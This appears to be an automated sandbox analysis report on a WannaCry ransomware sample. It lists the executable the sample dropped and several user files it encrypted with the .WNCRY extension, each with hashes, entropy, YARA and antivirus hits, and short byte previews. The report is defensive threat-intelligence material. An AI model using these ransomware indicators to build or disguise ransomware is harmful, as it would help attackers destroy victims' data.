                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Yara Hits:
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\@WanaDecryptor@.exe, Author: Joe Security
                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                      Antivirus:
                                      • Antivirus: Avira, Detection: 100%
                                      • Antivirus: Avira, Detection: 100%
                                      • Antivirus: Avira, Detection: 100%
                                      • Antivirus: Avira, Detection: 100%
                                      • Antivirus: Avira, Detection: 100%
                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2021-09-03.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1368
                                      Entropy (8bit):7.853170063721902
                                      Encrypted:false
                                      SSDEEP:24:bkWIEW735iiCgNA3zUYKRluGfaGDO7BxyuU+WGGDJPEDFB9daYGAT3:bkWy4iIzpKaGilguWPJmdaPC
                                      MD5:0D741A3B06D754CFB7916BB650A6C997
                                      SHA1:AB2A5837A69FCE44BE045856FF5508D3EBBFAE48
                                      SHA-256:D56F5819D437AA0458F24D5B76D8557CEE0E9671FD65D3EFB48D019F71E6D2F9
                                      SHA-512:27665B40DA9A2667DCAA9A4B6EDB0809BF169681E47F95EEBAC08C46E3E0270BDCAF86F7E4B36ED1C04BC5F4314425673785BC24D5BDE6587E800BCAD5ABB9F1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........"m...C....<[..l..m...k.5TV&Tqh\...4.....aF....>.....uRh....T.... 9O..H.H.3%./.JMk.'Kpv.RU.>...ui..j...N...O.%,....t.(.....>..$z.uj#<%5....%.z:9Sd....P..z.9.o}{.8z.Rv...*.9..=.w....J.j].".../.....Y.Fe.?}.....q.@.G!..j...xD.?.wo\+........4..n.....=..............k.7.(.u.0REp.]..8..(.....{...{..L...e.5y...vQb........$.v.]A0...._5.0.. .'8..3........!....z...lJ...=\U..#..Y..h.XSe...4....O3.......RC...Y.I. G.".>.Q.[..f~.b0b.C....Kg-.e.....`e...C3r.......,.:...~...bXC.....QD.....xS|..s...Mw..1x....o.0....s.$.A.(J.....m.\>h<.W.sD}gP.o..~.....*!.->..J.)Z.p43.9.a.Pa..Wl....{.....D...>..x,....S.i....&..4o.K...8`!.....7._.A-.O..K]G=.....d*."....u..@.U.\I...w...0....P.C...>.....<.Z.E.....#.N*....../..y......,SK.b...~.....!....)..u~;Y..g..:k..ft.&..+s..".-2.ER..8.z..a..,P._.....+M.7.G.[.4})<P^m@..z.}G>}/.W5.........A.BIg....._&.r..._..^..0..w.@.z...B..0Rpt.....65l;.s.L...E.J...yhB..e...:..\...<./...v.qa..Z.....e0T.].].C..@.,B..%.b\.....S.:.

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2021-09-14.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5096
                                      Entropy (8bit):7.956373369100775
                                      Encrypted:false
                                      SSDEEP:96:oofYt3Ge2fmRbDppQyF+a2aEN81gsw0dL6HQaMvyuk3KM6mwjCrzg:fYQmTTPnKiL5vpk3P3/rzg
                                      MD5:0329F2B658EB9CB31ED35CF9E6B86572
                                      SHA1:0CEA926C6BF8C3484520FBD74C06233C3BC670C2
                                      SHA-256:1CEC00BFF4B0B8A5F5C9690DE6A2DCE07B8FCFA973E837EB4E3366155747951D
                                      SHA-512:6C31B00B6C02AEA991B0B6345DD2EDD4B9A07E9110C89D480DE604EB94251C044364862A0CAD53E61BDCA103798CDEBAA85E03B09EB299F1FE90AD9D8C26D6F9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......A.p..l[&.....K.r\M...........31..z.@4.v`.....J........h..B......{..`.>.Wl..'..:.Zs[..o.a......C.D...g8s.Z.H@}.......d.k....Wf..wuT.Y....Y.aF&d.iwiM..%.bw.hP.RO........a..d.....wq)...... ...A=.{.~.'...L..,.........@1......~.&.Q..L.,5...?.,/C................H.S.b]<).S.Y5..k.V..?........k.VmN...j.....2..s..*.G...u..j.g.L.;..S*4H.......l..3pQ+cX.c...Ei..B...&qz.W$Z.q...lBI.S.^I.....?....X.s$....2.S..R'Q.Q....2..v..7...}....q........tT.a1#..V.w>.B.V..v.9+.q.h.k.[..yX....'.....]t.0f..<./QZ<.\..f.....:........Q.u..h..u._*..E.U}..6.;....c.H..v:.q...%.`M5U..]......R.d...32.G~..]v,..l..9E.P..P...B.2..._.!.l.8-.).C.S:.;...R.!.m<Z...`.....pv.?W... .......9.]...s...B.k.I...cn..<e...g.#..._`Fy.>L..7Ny..!/...7B.....o.@j.H......;C.E.K(g..e...{".%..x...NU...YM...&..e......."y......=N..^....l....j`....?:. U...~.4....W.q.w....,.".b;.1.F..s...]..Gd^z5].>p0A..~.?.?.%R....aE..Y...@p+A.T...(.E.6i........~}.T.PNtD.z....Z.CO8J...`...n......;4....)...{+..

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2021-09-22.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5096
                                      Entropy (8bit):7.965948818744194
                                      Encrypted:false
                                      SSDEEP:96:ooQg2R2/qeQqgYX/4NNsvOg0sMSIeXL9mbrUWJfcRm+kI5TMjqMuozUfQCJN:rQU/qJ2APsX0IYFJfs5qpzUQM
                                      MD5:2B08BD4E378A634D2E38BD583E389712
                                      SHA1:17994A965F09051FF527DDB05107084EA28D691D
                                      SHA-256:E999F8CAD893093BF643DF3DF950308F417594D18B195648FFEF0F553F4328F2
                                      SHA-512:71A31E73D137CCA7527DA21DAC08BEA8FD6DDA3A9747FE30269ECBE5233A7AE5CA30668D99AF6477AF887292C7413CB7F824A837D452E28AAB1819E6C4CAFB98
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........b.G...j._..n.}...#....AI#......b...(.vKL\6....-.....(G.^.....Nn..........J.>....:...B.e..t.....b.........i.......}..J..0....A.$..p..jX.=.H.W..jR...z...^......23P..z.......G....;W...~.....!..:.V+.0....ft......q....=q......L]y... ...H.....................mC>.wd......]..t..U)...h....\.O...p].q.%~..R....\..O.....B....z....6w.W[9..R.9..d5.*....k.LW..:S...J....oS.......X...'..c..j....w.......g../5.+h.&...c.H..p.Am...`....A....:...!z.{r..J....-...,.I.r'.7z.T...tG.9.&......b$.H......d|+].....J.wW.#...xl*.\.......L..of..|.9.W......4.T4@....E.B.!..-.._..]......L\.O.K..:.z.3....yM.4.H..~.v.,/..SI...b...h@.;......~~|..(....W.......jRj...".N..P..,..\.-A...*...{.../[....).H6.$.ov.d2.M...*.....3...\.__.)X..{...P..L6[...r).....mcp...l....j...a{..Np5.<l..8'+.UJ..(f.+.&cZ......s......c.......i..lb...j.U...!T0..4Ioe...$A4....?..=..h...$. .g.......(Vx=,1;.}......,..i..m. ..j#.Oq..j....vX$.8..G.O1.xZZ.2.3.....`9....cR.)R....lO...D.6..3x.N.

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2022-02-23.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1768
                                      Entropy (8bit):7.870660115057411
                                      Encrypted:false
                                      SSDEEP:48:bk2DFAL1imtUlizhWLse2bcTugfmp4lx+kLkyhXfkTOF4GE:oWKL1VOlilysebumvkoX+FGE
                                      MD5:3EC0CF0323D537980CA0DB962CA9FA48
                                      SHA1:E8BCEB53223E806FD0AF297912700A384C3D084C
                                      SHA-256:16F66A3C16DBDC7D66C7DBF0EBC098930490765775352162F4099985A970A0E1
                                      SHA-512:946779ED0EC410D661A4EE1865032CD46ADFF154AEF4624E92C71C62830FF1A6D58B8BCBB608812819D12BCEB651AE646388F999FD99DC917073B4B09550CB26
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........O..mau"T....e.....`(.zeF....2......hf::A....R:....q.'<.b,pF...........?.`.o......m8...PH.9....y....!.FY.$.....u.c.b..&;.%@T.j^.b....G...K.,..a...z..{.q..Ke...].'.( A...Z&g.4....../.....C`#WGC..g.<.[_Z.q}...4.@...h..$.&...Q....C.'!...Z.4.3.K..{.............K.....D!.3.....9..zjbgv...a>w.....-.]....~.......u.D7.u...H.`..Te......I/%$.h....4....m).......U~.....0....]...{&..\R.?.>.....rG-q...m.uF.F2........#{..Z&...-..b...................u"....Hd.2...E.!...Q.y.i.....,K.+vA..&O/..2..w..@.K...Ca.v..R.j5..o..2...2E._.}..l......X..W....D....H.t.Re.l.}....;.|...*.b.*.eayw,...h.w...f..D..`.....D..3M&....ZU.j.0...D..g.Q.`<jW..j...(m.;+.....{..._.....(.eZ..|.l..b~/,...h....@..mRu.N=.R.....4.g..g.N=k..dY.TkV...=.(U.)6H.!x.x.f.l..-.:w.I._.O.O7..2.......Z...)..OC2..7..VK.."7...@..k..sg.&..D).m.4.%)......Ws.r....Q!.!a..%.xW!....{<8...Sgh....N?....u.~.y...L....Y.<.'k7....N...$...R..)^......D...;.E7q'O.2. ..A...#a..i.9KU.95,.=:Y.B.3Z.>x.3

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2023-05-25.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1864
                                      Entropy (8bit):7.903930349653215
                                      Encrypted:false
                                      SSDEEP:48:bk0x4/p4RHDkKchIV4OXfKNc+gaOi0T3Rapn:o0x4/yFchIV/Ne
                                      MD5:40D6AB76B0AB39F8077D0EC452500554
                                      SHA1:38E7BA4B5608B7E590475873CF0A9C7F4FA7C89D
                                      SHA-256:4378159F987A5B1738CB794EF0987F8B3D24A5DCC27F3BC1A17454A25B4BD107
                                      SHA-512:A5C697EC7C0F5D48DC3352BB3219629DCC72010FF6324DA38AB2EBD0035B38FDB345A16637EF35062BB50569B8A00C1EC19BD333A218FC7C3D379DB8D988335C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....a.6......G. ._..D8.}.#U.C9...D...rq@....I..m_8.a..?(..50...N.5..x2{=aeyX.j.....vfu...&...&..5(!...DB2.E..q....y..V......}...Zl..n....Wf.....K.=.pmKrK..N.<..u+..s=1...k..#.k....K-o.....V..yqM......g....:.BX\./.....pR`,....O.<IC....;0H.2ns.\.C.........#.......R..9.Cs..&.w..0...x.1...a.(....{....d.j.j].b.y,u.N.9......D..+m..{.];t.c./.;.t.T........nK.r....k5...+=7..ib6;.I7. z`..+_..h.nGL..CL..g....G9........t..!..8...3........p..E.Q.......)..S..H..`.7.....@..|....$FV..d..+.......aD.2.....D9..c...$~"r..%....cs1wGeV..............}.N.......g.....yM.".M..h~._.5].p6..5T..92.....(.sK?h.-.....u....Wi..RO....k....k'.0!.h.A'&1.....?..)[..F..H\..\X...'...}..<..^\P.Ef).._.^CB*g...!..E(.-o.&..z.D....+.....3'... .,#....U._.}...].A:FB..t6Y...Q.>b...V....\c.X.u...R:..a.kU....(...2...4...V.....h\.7.7....$Y.qb..g...t...Y...:K.h.u.R%.......'_.........f.u[:sGQWx.y3H..............vZ.@.A..&.O....;.k..O*Q..".M.W.r...u7~ d1a..e^..P.0.?...4w...X..._..

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2023-05-26.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5912
                                      Entropy (8bit):7.967316234562588
                                      Encrypted:false
                                      SSDEEP:96:oUySCiGY59actlKChPH7yIF4Bo3PlgEb92Ns5FBjR7HC606X0lXxZcqSZ2ugCksx:z9CiD5Jx44Pxb92kFBFG606IXo/kjCk4
                                      MD5:8157AF0A9ED525DDFCD9D1B746DF73E0
                                      SHA1:3C4A115776FA105ACA1FBCBDBDA4323B0B2C0BDE
                                      SHA-256:2EBE14288D967E79F3593F3417A5EDCDA7856CD75CC6E9EAAFF7EC0A5AA7BB8D
                                      SHA-512:46B26CFA08285E2D89E38D7F83E26AF44013551917A32A1FE77BD9C70A1DF65EAF02866CCD8EF40E2FA229441F8766D33BE1F1C2B8511E6CEA254393AD4BB83C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....~gC.g.6Z..X......@....%.O8...k.) T.....a..%.#[.9.......9[5%....I..ka%m8Y....F-.....A|].....l....m..ER.....Z..m..hv._.Z.o\3...A...!&....g...[..$.D....M.<....^...L.+......3....9.[.h....}n....S.8.a.m.~.9....>........F..0..u.m....j.{..~....7..N...............m..Y..4Q...-G..r..T%[...1.%.v..9E.,......:.N..........D...wyf. .....NjAj(2..J....3......S.z .....hs...8<;.Y...H.c.....yI.....K.3....&*PH........F!.3.r.&.).J....Do..V.+..F`.w..............c. s.R)...*?j$..$Wg~..Z=..l...........G1."~W..(....2k...$.FyA.W..:....+:.2._.D.>N..R...2.)!k.K.%^..qDHw..Pv.C_c....`Q}.....8..y........i...i..(&..e%+....1.a.9.P.+.D.\IB)-.P_ZQy'=.<.H...6\.....2b%.I.M...)...L..S...N....Hxp...-k..E.~.....K.s.J.N...2....vdP...cU...}.G...6n.....<....#5.q......Fy(..\.J..].+[T..y....C..+.K;u..CC.......'..S....mS..&E......1.O...=.)...i.V..Y`..............i...r...)ZO.H6.9..k..F..A.tF.04w......b.D .n.u...z.w...:...U*2.".......`;.F&...&..V.6...r.#.s..]...5.{B?.0..

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2023-08-05.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4264
                                      Entropy (8bit):7.960281495235138
                                      Encrypted:false
                                      SSDEEP:96:oupnLNdSG1z0s6kwI982kjt7JirWcCKrIvsxxvvnpCdj:ZRLb0s6ktNkjt7uIEPwdj
                                      MD5:0ED6AF66CCA69127036EC3E397329E76
                                      SHA1:3AAAB292748CA92DD8ACEA3AEFC735473F4AC2BA
                                      SHA-256:4ED010F3AF20C134956864B577FFA9AE695FF92DB0E6DD3EDC0FA09DE1A9E391
                                      SHA-512:CE564A9F754D6AE89375A143A2A622A1ACA03CA7630BD4DE896C9AEDF89526D0EF54A0559432C8F7C8BCD435B9846DC07B1F8A897A6FE2912E13BB37942918CF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....w..%.!z........f....R...v#..e.|.O.p.n..X>Z9M.!p.$.d|.......&YC|hV.O..1..y.* #...9_..jz...N..36/?b....'...!.{..9r.3.....,..q.!*.1Y@...e...[.i..a.B..g60}e...S`z..k1..]s.Zt^>...4q....W...4.s.a/..R'.X.u$....N}Y.E...K.q..eT.-p'.IS..h....V..<u....)m1..............._.v..**>1........8&.bB..fK`7Pv...mV...8.p..........U2@e..5...C..&..5..i.].R......]{..#........t.?.J...t.V-XI...."....<.N.Gp.a..8....2..4.......6...+C.......RM..Q.r.iI...2..a.*..8|L.....tB...f.."N.\.....HT@..G../......Ie)..Z.(" ..h^.{M8`..h79.........#..J...7.{(_;T..-.#"#W....U.Q\.#h*23..K.c8...[...d...\.d..P..%).7-.H.8A..O..l...q.D...-....." j.41.o&.._DJ....>.IE6.|....v.....k2....yD).......+....q_.......d\5....W1e#.x..L..^.&...a..{Y....<-`Q9k...,..t....-..0....-a.....>.}.c...f..H.......C:?T.#98\.c...{m4u..5......X.|..|.-..&......D.cT...~.ia/...`.K..q,.~..6... .....#x....._.....'.e..=z.g.&....HsGy.{.|@._...Kc.........^l\.V}...L.{.....m...f....'..*w.

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-06-03.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1864
                                      Entropy (8bit):7.879321041064618
                                      Encrypted:false
                                      SSDEEP:48:bknAJCtdPrVAp2r2rPtE181G6xU58OZ7QW4z50qJ21:ovFrV4e1AG6xUc7w
                                      MD5:2C3870A5CE1925BA80694D58BD66724A
                                      SHA1:8AB8D03C16D66A73759D6291DDE1DB01F37464F9
                                      SHA-256:F38BACAC322DC36A1D2C0010F1EC71267726D4505E9EBB573D8ADB67719318CA
                                      SHA-512:BB51B9E011A004FD5441DD96E23F28B861720E5BB0E82B66C4782FDEC2EFC4793307CA3E56D91F652DF24893F224AD420EC769003B8C25888AFB8E7925CAB6BF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....k.Qa..L....c.X.}.i.....J.8r.@a..).r..U.)...v...Y..J{...x`.<E.c..L...~..&.\.....T...J#p4T.qi....U.>.F.o7M....\..HQ.....6.. ..0.P#..\..U..eI.cN.(..-H....t...l.w.*...C+.H3..;i._...>r...PS.Z...ffD)3....J..$..Ub.l~...+./.'U..u6o2..l..(^{v"...._[{....#.............|L....|......FfnJ....*\.W:.......M.....T.'........l"us,..a.......i.@w..Dk.,.B.;...ifg._[..B*..s...D}$.._K..\{..j..d.....V.....2..\.6...i...L4..`...A1.7.$.+.E.zt....7...<x..iT..%b#........B..eV...}.cH...y.G.e......c......g..{*...........M.PT..Q.z..4.1.k.\.gE#.=..oj.f.at..."......j.v...Z)K}ts.I...d...E....K`.6E..E.X..3.{OP8.>`K.bke..&.....G.W^......J]U.....W.._F.z.wb..6....]..r.F..l......r...v.,..Od......]=.c.F..Te..SW....U.\k._\%h......Q.c,M.GG..PR.>y..x._.4...O..J..lh......&?......o.Z_3UoU.`eV._.......9y.yc.F.x.E.....wq.n..8D'.pM..V.MA.7.._.{7....\.&.b.B...+.?H.S......6f......U...,H..9./(.v..8.'..G._..#b.;....i.#...".`.....;..E#.....nB...<j.t..._.tp..D.....o9...r:..R._.B...zA.

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-06-19.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5912
                                      Entropy (8bit):7.966987757982364
                                      Encrypted:false
                                      SSDEEP:96:o0klgkSyRqkPhgngtRacC25YFCD1X04qYhpPUUKxzLt+ExU4nt5U5AAhdM6JX:NklgkSyRqkZ0qC2FDm4qYXUUKv6QXU5X
                                      MD5:DC8EF13794B0E6CA9685E70B54378AE4
                                      SHA1:CCF2707731771D8183B6C67DF085311886DD04EB
                                      SHA-256:D3AAC952CA1C27C0D1110543723DE12841E61FAAD29CB6E7D807162AFD271A85
                                      SHA-512:B2FAA7226F0AAFABFD2DA300FEB10EA19CAB12D4DF3D3D0CCC6A51A6E3C93CE76713B571147E25D2891C2AEB15B67600FD83F2B8A96A92585D897E91C43641A3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........rD.....[R.....p....S.h....K..iYo.........zx.R....C.I..k...V".N..G.m.M.K.LA..."N./...Y...Q.GFXT.....0X...........N.....-6.!_..x#[...uM*...>.[..N.8P,.F`...>...]..vJ.S.......Z.B)..m..U.E.F9f.$...~E"..).m..j.d.;e.zE.Cl......^.B..y.+C......./..................Q..JWj.....`.8.`..R...5...]...... .X.\&.~.f1F.Y.$.j....@.`"......Hm.. .E..J..1...W.c...K..?S.....c....;M....".p....-....;0..G....q.s.).Q.;v5..U..n-..ZM......(F\.e#C.n<.X..:..#.V.../.Qu]......o..RM...QrM]bN.;...{.....$D.<.3P..~.;...:....^?...y....O}....=H...<8..4..I./.Yz..}...#0.|....fy.../4D.=`..ip........=V.}...5\..B...r...0X...n.&n<+..`:.....,...F<I."..o.G.M6.Y..F.o..L=..\....'...*.@*..-.........3q..uD\\..{.@.)ER..7d1{@..B.........KzF. ..+w#......o...d..j..dD.......t.5...S......g?{..NODVn...7....s....3R..cl...f.........(........_7s.|"..FfS...s-...n..a.[.t.....q]15..;.j K......eIPZ..t..^..v....s.4..P.1....<O7.j6.X.7L.t,!..........h(.r..h.<..!...........`...*C?

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-06-20.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):14216
                                      Entropy (8bit):7.988556126310937
                                      Encrypted:false
                                      SSDEEP:384:MVFn7xwcuwK9IB/C/ZI3gnos8XoazNv/juVzS4DJuXPvMYQ:MVp70ONA8gnadBv/jizND8sYQ
                                      MD5:87CC43B041101B7F7517FE1239ADA820
                                      SHA1:CD228FF786A705565D6809B8318D3B1EA9F8099B
                                      SHA-256:88A53F14A7457FCDFDE3334B773295DE797F00215E2D4168E41401AFE11AC616
                                      SHA-512:753454B50E5511005F7ADEFF5A5AFACA18C8F9658BBD7F95A4E1CD80A81D883E2AE2725AFE9BAB61C02E67FBF36D1155F3D6E1C825856D0C2031FD515C149E06
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..../..i^..c.D,)...s.9......'1u0.:r..Z..Q4.%.'.S0$F!J...... x.O..mE-..D.3:....-7.;gur.tE.%.0.......#..?..?.}#.....&,o.f.4 kw_.......blj]...1=......._..2....9j.. .....4..Y.)].K...vXV...:2;...i.e.%@...>....n....8..Lh.{..k.G.....1.@:......o.Y.....l6..........F.7W`WQ.an....P.u..u..Gg.........T....ap...n=.VO.A...8...P0^.U.#w...Z.....rF]..o...;r..8:e.o..~+....G......)q..}w.f..a`<.......p...(. .%..............EX.'....}[.......^... +.K...1..5....hIf.pS..)6$D.:..9.#..%.W......?`..k..T.V....)..MR..'.yov..{e....R#W...=....y.Ml..{.....Qx..%J}8..[....8W...1xS....F.t9.r..5l....a././.....HR|/..._.......U.'y...).B..]1./...y+i.A........\.'!.^.....Q.Fx.(H.n:`....E\....M. ...b}.....'......y..VT.pAd....7...N..;.k...;.V.Q.U....T.+..@...a..CFA.wM..-......FC.r.']....q2...P.....hi...n....e.i...K|..|.$G.Pgt....b.....>.(.yol....).#.J.$...hG..g.V.o...&...K%|.3........r......F.........)DX.......1...%{s....RK..#..[ts....K..R.......sY..(@.p...*..~g..Bf.

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):516712
                                      Entropy (8bit):7.99966068279103
                                      Encrypted:true
                                      SSDEEP:12288:Hk4UzLF8fapxJuXxSrtZx3HKSlHnAiUsN0s:E4UN8ipCkn5HKRs
                                      MD5:5C61CFC29BD64947377AD3D101401608
                                      SHA1:4E235D10DF4D5E4413AFCDB2AF11D4E8844382A1
                                      SHA-256:CCC5F1E7D392330503157147C5B2930813A1D36888CC1E24F85168C1D8B48BAA
                                      SHA-512:5A9525F2CA3ADA743FEE8DA644DB3FDBFB8DED6C49F536A818C50DD31D57A93EBBBA9CAF12C990E17AB7F1E9EE15D48A47CE69EF4B1140CA7B00A9B6AD61C61E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!........~..%..../.(!.e"g.v..h.?rQ..w..\..O.w....Hl..mf.....4)*1.9...hR...3....b.!.......J4.+,K..,..a..6..1(..~.n..8.$...U%L.G...J..8..dx../*"fq".....,w9_..A...B/G.+cfz.N..$qQ.;.u..\NN.p..k+.SbF...zeu.................".7.5k..@.@..'..F..?.#_.C..-Xq.......H.......m...z..$..(....u.......sB.T..[e..>=..%.....*.6!.0)P......@x6.XF6m.....F.....u..k.....j....2......`..D.b..W.z.Oi.....3.u.)[4L..c.+<.......N,.b..'..y.......R.jw..#2M+...c.tD.+".o.K..M.l....`0b.uc.].o5%...s.s.GS.....No0....t[mo.y.n.....L0.^.'....I.y.*_..1?....i.ON.k..0.....,}!...(..{h#.P...e.d.I.........:...x.x.....J.Q..y..)...8Z..p.....E)..W|@g..;."g.......$.'.<..8..s.X.1yNhA&.....i...=>G6.$*....$.u...p......_X..%Hr!..)>.B..W)._...Fp....;<...j.@....~..h.....ln.....;..%..t...?.....<.cg.7.xU....w......o...](h..............eY..2.........m.lD..!>7.DpV...P.......UZ...g.o.......[.3.L%p.....R...)#.n.d.e$...;.C.k..a.....In.0Yq..E}......M9..b....(.....uu.9...h.P<#.T.U4~..=..B6.....

                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.2107.4-0\ThirdPartyNotices.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):7000
                                      Entropy (8bit):7.969962992266547
                                      Encrypted:false
                                      SSDEEP:96:oMuntclX2saGVjB/CsI8PoQ8FTQGeqT2VfmeAz/eel63zIO7LivFvA7YOmfhGamO:AWIujBaWF8pu/Az/en822G+Fj
                                      MD5:444B9FF4A898FC7E6BBFE677398334BE
                                      SHA1:BFEBD4C4D2E78F07E3D48D39B0D4F402F54E4DE1
                                      SHA-256:6ABFEA8D37339A70B103D8F305AFC4F76301C1901E0D9A838E30AB3D2D87ACF9
                                      SHA-512:66F11092777157D69B313D487CD29CE225AAA90118D43BB84845EAA76790BB49268D11B4F65C9C1F1A3E16F273F908CBC616C0E5FDD2FBB493642B2FB7130CF2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....B..m;..=4.T.,GPn.A....'.B.W....A.W.D.{.c...\....@..z3..,..W......B....)+....l......f..ZjX..S.*..0.<%..Q.P.B......$...l..IK..F'n"....;..3..U.8.y...LO...I%.a..Do.....".^....W.x...].. qQ.....^.M.{5'.X`4..L.VQ..*...Y..Ph. >..?.[K...fF..6...-..........=........{.>4..'...2.z....$.Lo.W..-.En..a...:..T..z=G...QJ.`x9.d.!.......A-......G.b.....cL.......N..W.<..X.....H.$...h..*@T]DO..a.k%p.. ............Y:.^8.....J|.......y.7h.h/.l../YP.{x.e......U....TZ..R..Q7z....:-u.H%l<...H;.A..A.....R;.yeg..................E.I..).W...1.......P.3....."..{..?l.c.$t..o==.....|..B.j..s.Kn...;...eu{.;g.)..`Z.....e.?o...}E.+a./.y...m..{..7K....y.\.!$.o.Yk...j.C..W,W4a.C.h.J....v....JL....?O....`.C.K.H....H..=......1.(.X......od..,6..i.*Y.Z..ZacH.M;.&i<^S.-.s.C...6.T....`.>zEO.u.p.^..H....>.rdq2.K.y.8EM.....z.Q4...z].{2.N..U.AV.._S..e._+......)l`k23....6.#...Y......ZS..d9.\..E...+W..p.;.&...G4..>....+...9'.T......v...u.....s.8.....u].......,.E..2....-..4.W.-@n|.

